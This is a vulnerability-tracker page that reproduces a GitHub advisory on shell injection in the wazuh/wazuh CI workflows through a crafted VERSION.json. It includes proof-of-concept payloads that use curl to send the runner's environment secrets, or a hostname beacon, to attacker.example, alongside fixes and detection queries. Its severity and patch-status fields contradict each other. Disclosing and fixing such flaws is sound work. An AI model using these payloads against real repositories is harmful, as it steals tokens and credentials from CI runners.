Read the docs

GitHub Actions Shell Injection via Fork Pull Request

Priority LOW 35CWE-78Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Code execution
Confidentiality · integrity · availability
Low · None · None
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-95w2-gpvr-q4jh. Fix status from GitHub. Impact type from CWE-78.

Summary

CI workflows in wazuh/wazuh are vulnerable to OS command injection (CWE-78). The 5_builderpackage_agent-linux.yml workflow runs on pull_request events from public forks, reads VERSION.json from the checked-out repository, which the fork author controls, and writes its value to the GITHUB_ENV file. Composite actions then insert that value into run steps through an input named testing_version, so GitHub Actions expands it before bash starts and shell metacharacters execute on the self-hosted runner.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

Severity: Critical CVSS Score: 10.0 CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) Status: Exploitable — confirmed Affected component: .github/workflows/, .github/actions/ Instances: 85 injection points across 47 action files <h4>Description</h4> <p>The <code>5_builderpackage_agent-linux.yml</code> workflow triggers on <code>pull_request</code> events from public forks. It reads <code>VERSION.json</code> from the <strong>attacker-controlled</strong> checked-out repository, writes the raw value into <code>$GITHUB_ENV</code>, and then passes it as an input to composite actions. Those actions use <code>${{ inputs.testing_version }}</code> directly inside <code>run:</code> steps.</p> <p>GitHub Actions evaluates <code>${{ expression }}</code> syntax <strong>before</strong> the shell starts. This means any shell metacharacters in the expression are processed by bash, enabling arbitrary command injection on the self-hosted runner.</p> <h4>Vulnerable Code</h4> <pre><code class="language-yaml"># .github/workflows/5_builderpackage_agent-linux.yml - name: Get version from version.json run: | VERSION="$(sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' VERSION.json)" echo "VERSION=$VERSION" &gt;&gt; $GITHUB_ENV # ← attacker writes any string here - name: Build packages uses: ./.github/actions/5_builderpackage_get-last-stable-version with: testing_version: ${{ env.VERSION }} # ← attacker-controlled value </code></pre> <pre><code class="language-yaml"># .github/actions/5_builderpackage_get-last-stable-version/action.yml (line 40) - name: Get last stable version run: | VERSION=$(python3 "${{ github.action_path }}/get_last_stable_version.py" \ -v "${{ inputs.testing_version }}" \ # ← injected into bash before shell runs -o "${{ inputs.repo_owner }}" \ -r "${{ inputs.repo_name }}" \ -t "${{ inputs.token }}") </code></pre> <p>Additional injection sinks:</p> <pre><code class="language-yaml"># .github/actions/5_builderpackage_macos-smoke-upgrade-test/action.yml - run: | ${{ env.SSH_COMMAND_ARM64 }} 'sudo bash /tmp/smoke_upgrade_test.sh \ ${{ inputs.old_package_url }} ...' # ← unquoted in SSH command </code></pre> <pre><code class="language-yaml"># .github/actions/5_builderpackage_linux-smoke-upgrade-test/action.yml - run: | sudo docker run ... ${{ inputs.tested_docker }} \ -c "/tests/smoke_upgrade_test.sh ${{ inputs.old_package_url }} ..." </code></pre> <h4>Proof of Concept</h4> <p>An attacker forks the repository and submits a pull request with a crafted <code>VERSION.json</code>:</p> <pre><code class="language-json">{ "version": "4.9.0\"; curl -s https://attacker.example/exfil -d \"$(env | base64 -w0)\"; echo \"" } </code></pre> <p>When the build workflow runs, bash receives:</p> <pre><code class="language-bash">VERSION=$(python3 ".../get_last_stable_version.py" \ -v "4.9.0"; curl -s https://attacker.example/exfil -d "$(env | base64 -w0)"; echo "" \ ...) </code></pre> <p>The semicolons break the Python invocation. <code>curl</code> runs as a top-level command, exfiltrating all environment variables (including <code>GITHUB_TOKEN</code>, AWS credentials, signing keys) to the attacker's server.</p> <p><strong>Harmless beacon PoC:</strong></p> <pre><code class="language-json">{ "version": "4.9.0\"; curl -s https://attacker.example/poc?h=$(hostname)-$(id -u); echo \"" } </code></pre> <h3>Affected Product</h3> Field | Value -- | -- Ecosystem | GitHub Actions Package name | wazuh/wazuh (workflow / action files) Affected component | .github/workflows/5_builderpackage_agent-linux.yml.github/actions/5_builderpackage_get-last-stable-version/action.yml.github/actions/5_builderpackage_macos-smoke-upgrade-test/action.yml.github/actions/5_builderpackage_linux-smoke-upgrade-test/action.yml Affected versions | All versions using these workflow files Patched version | Not yet patched Language | YAML / Bash <h4>Patch</h4> <p><strong>Fix 1 (immediate): Validate VERSION.json content before writing to <code>$GITHUB_ENV</code></strong></p> <pre><code class="language-yaml"># .github/workflows/5_builderpackage_agent-linux.yml - name: Get version from version.json run: | VERSION="$(sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' VERSION.json)" # Strict semver validation — reject any non-matching string if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9._+-]+)?(\+[a-zA-Z0-9._+-]+)?$ ]]; then echo "ERROR: VERSION.json contains invalid version string: '$VERSION'" exit 1 fi echo "VERSION=$VERSION" &gt;&gt; $GITHUB_ENV </code></pre> <p><strong>Fix 2 (recommended, comprehensive): Use environment variables instead of expressions in <code>run:</code> blocks</strong></p> <p>Per <a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable">GitHub's security hardening guide</a>, move <code>${{ inputs.* }}</code> to <code>env:</code> blocks so the value is assigned to an environment variable rather than interpolated into the shell command string:</p> <pre><code class="language-yaml"># .github/actions/5_builderpackage_get-last-stable-version/action.yml - name: Get last stable version env: TESTING_VERSION: ${{ inputs.testing_version }} # assigned, not interpolated REPO_OWNER: ${{ inputs.repo_owner }} REPO_NAME: ${{ inputs.repo_name }} TOKEN: ${{ inputs.token }} run: | VERSION=$(python3 "${{ github.action_path }}/get_last_stable_version.py" \ -v "$TESTING_VERSION" \ # shell variable — safe -o "$REPO_OWNER" \ -r "$REPO_NAME" \ -t "$TOKEN") </code></pre> <p>Apply this pattern to all 85 injection points in 47 action files. Detection query:</p> <pre><code>semgrep --pattern '${{ inputs.$X }}' --lang yaml .github/ semgrep --pattern '${{ env.$X }}' --lang yaml .github/ </code></pre>Description The 5_builderpackage_agent-linux.yml workflow triggers on pull_request events from public forks. It reads VERSION.json from the attacker-controlled checked-out repository, writes the raw value into $GITHUB_ENV, and then passes it as an input to composite actions. Those actions use ${{ inputs.testing_version }} directly inside run: steps. GitHub Actions evaluates ${{ expression }} syntax before the shell starts. This means any shell metacharacters in the expression are processed by bash, enabling arbitrary command injection on the self-hosted runner. Vulnerable Code # .github/workflows/5_builderpackage_agent-linux.yml - name: Get version from version.json run: | VERSION="$(sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' VERSION.json)" echo "VERSION=$VERSION" >> $GITHUB_ENV # ← attacker writes any string here - name: Build packages uses: ./.github/actions/5_builderpackage_get-last-stable-version with: testing_version: ${{ env.VERSION }} # ← attacker-controlled value # .github/actions/5_builderpackage_get-last-stable-version/action.yml (line 40) - name: Get last stable version run: | VERSION=$(python3 "${{ github.action_path }}/get_last_stable_version.py" \ -v "${{ inputs.testing_version }}" \ # ← injected into bash before shell runs -o "${{ inputs.repo_owner }}" \ -r "${{ inputs.repo_name }}" \ -t "${{ inputs.token }}") Additional injection sinks: # .github/actions/5_builderpackage_macos-smoke-upgrade-test/action.yml - run: | ${{ env.SSH_COMMAND_ARM64 }} 'sudo bash /tmp/smoke_upgrade_test.sh \ ${{ inputs.old_package_url }} ...' # ← unquoted in SSH command # .github/actions/5_builderpackage_linux-smoke-upgrade-test/action.yml - run: | sudo docker run ... ${{ inputs.tested_docker }} \ -c "/tests/smoke_upgrade_test.sh ${{ inputs.old_package_url }} ..." Proof of Concept An attacker forks the repository and submits a pull request with a crafted VERSION.json: { "version": "4.9.0\"; curl -s https://attacker.example/exfil -d \"$(env | base64 -w0)\"; echo \"" } When the build workflow runs, bash receives: VERSION=$(python3 ".../get_last_stable_version.py" \ -v "4.9.0"; curl -s https://attacker.example/exfil -d "$(env | base64 -w0)"; echo "" \ ...) The semicolons break the Python invocation. curl runs as a top-level command, exfiltrating all environment variables (including GITHUB_TOKEN, AWS credentials, signing keys) to the attacker's server. Harmless beacon PoC: { "version": "4.9.0\"; curl -s https://attacker.example/poc?h=$(hostname)-$(id -u); echo \"" } Affected Product Field Value Ecosystem GitHub Actions Package name wazuh/wazuh (workflow / action files) Affected component .github/workflows/5_builderpackage_agent-linux.yml .github/actions/5_builderpackage_get-last-stable-version/action.yml .github/actions/5_builderpackage_macos-smoke-upgrade-test/action.yml .github/actions/5_builderpackage_linux-smoke-upgrade-test/action.yml Affected versions All versions using these workflow files Patched version Not yet patched Language YAML / Bash Patch Fix 1 (immediate): Validate VERSION.json content before writing to $GITHUB_ENV # .github/workflows/5_builderpackage_agent-linux.yml - name: Get version from version.json run: | VERSION="$(sed -n 's/.*"version"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' VERSION.json)" # Strict semver validation — reject any non-matching string if ! [[ "$VERSION" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9._+-]+)?(\+[a-zA-Z0-9._+-]+)?$ ]]; then echo "ERROR: VERSION.json contains invalid version string: '$VERSION'" exit 1 fi echo "VERSION=$VERSION" >> $GITHUB_ENV Fix 2 (recommended, comprehensive): Use environment variables instead of expressions in run: blocks Per [GitHub's security hardening guide](https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#using-an-intermediate-environment-variable), move ${{ inputs.* }} to env: blocks so the value is assigned to an environment variable rather than interpolated into the shell command string: # .github/actions/5_builderpackage_get-last-stable-version/action.yml - name: Get last stable version env: TESTING_VERSION: ${{ inputs.testing_version }} # assigned, not interpolated REPO_OWNER: ${{ inputs.repo_owner }} REPO_NAME: ${{ inputs.repo_name }} TOKEN: ${{ inputs.token }} run: | VERSION=$(python3 "${{ github.action_path }}/get_last_stable_version.py" \ -v "$TESTING_VERSION" \ # shell variable — safe -o "$REPO_OWNER" \ -r "$REPO_NAME" \ -t "$TOKEN") Apply this pattern to all 85 injection points in 47 action files. Detection query: semgrep --pattern '${{ inputs.$X }}' --lang yaml .github/ semgrep --pattern '${{ env.$X }}' --lang yaml .github/

Why it matters now

Fix Fixed wazuh/wazuh (CI workflows): 44bf114

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—wazuh/wazuh (CI workflows)< 44bf11444bf114Patch availableGHSA-95w2-gpvr-q4jh
  • wazuh/wazuh (CI workflows) Vendor— Affected < 44bf114 Fixed in 44bf114 Patch available GHSA-95w2-gpvr-q4jh

Remediation

Update wazuh/wazuh to commit 44bf114 or later, which contains the fix. Versions before 44bf114 are affected.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-95w2-gpvr-q4jh wazuh/wazuh (CI workflows) Fixed in 44bf114 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-95w2-gpvr-q4jh

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences